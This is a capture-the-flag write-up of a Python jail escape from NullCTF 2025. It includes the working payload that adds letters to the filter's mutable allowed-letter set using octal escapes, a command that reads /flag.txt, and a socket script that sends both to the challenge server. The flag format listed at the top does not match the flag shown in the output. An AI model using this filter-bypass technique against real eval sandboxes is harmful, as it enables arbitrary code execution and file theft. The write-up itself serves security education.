Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
MiscEasy

Abcdef Misc

CTF writeup for Abcdef Misc from nullCTF

//ABCDEF (NullCTF 2025) Writeup

>Challenge Summary

  • Category: MISC

  • Service: Python REPL with input filter, exposed via socat on port 1337.

  • Flag format: nullctf{w41t_h0w_d1d_y0u_d0_7557h1s}

The jail only allows printable ASCII. Alphabetic characters must be among a-f, so normal identifiers like open or __import__ are blocked. Input is fed to eval, meaning a single expression per line.

>Files Provided

  • jail.py — the filtered eval loop.

  • Dockerfile, docker-compose.yml — container setup.

  • flag.txt — local flag (hidden in container at /flag.txt).

>Vulnerability

is_valid forbids letters outside a-f, but it does not prevent us from changing the allowed set at runtime. Because the filter itself relies on the global abcdef set, if we can introduce new letters into that set, later inputs will pass validation even when they contain previously disallowed characters.

>Key Trick: Expanding abcdef with Octal Escapes

String literals are allowed, and Python interprets octal escapes like \147 as g. The validator looks at the already-decoded characters, so we can smuggle in new letters by placing them inside string literals (which are permitted) and unioning them into abcdef.

Expression to expand the allowed alphabet to include gz:

python

(abcdef := abcdef | {'\147','\150','\151','\152','\153','\154','\155','\156','\157','\160','\161','\162','\163','\164','\165','\166','\167','\170','\171','\172'})

After this executes once, the validator accepts inputs containing letters gz, so we can type normal Python like open, read, etc.

>Local Exploitation Steps

  1. Start the jail locally: python3 jail.py.

  2. Send the alphabet-expansion expression above.

  3. Now send an expression to read the flag:

python

print(open('flag.txt').read())

On the local challenge directory (where flag.txt sat next to the jail), this printed:

nullctf{secret}

Note: Inside the container the path is /flag.txt, so the remote payload uses that path.

>Remote Exploitation

The remote service ran at nc 34.118.61.99 10119 with the same jail. We automated the two-line payload via Python sockets:

python

import socket

  

host = '34.118.61.99'

port = 10119

  

payload = """

(abcdef:=abcdef|{'\147','\150','\151','\152','\153','\154','\155','\156','\157','\160','\161','\162','\163','\164','\165','\166','\167','\170','\171','\172'})

print(open('/flag.txt').read())

"""

  

with socket.create_connection((host, port)) as s:

    s.sendall(payload.strip().encode())

    print(s.recv(4096).decode())

Remote output:

> > nullctf{g!bb3r!sh_d!dnt_st0p_y0u!}

>Why It Works

  • The filter only checks decoded characters; octal escapes turn into new letters after validation.

  • abcdef is mutable and global; once expanded, later inputs are no longer restricted to a-f.

  • eval executes arbitrary expressions, so reading the file is trivial once identifiers are allowed.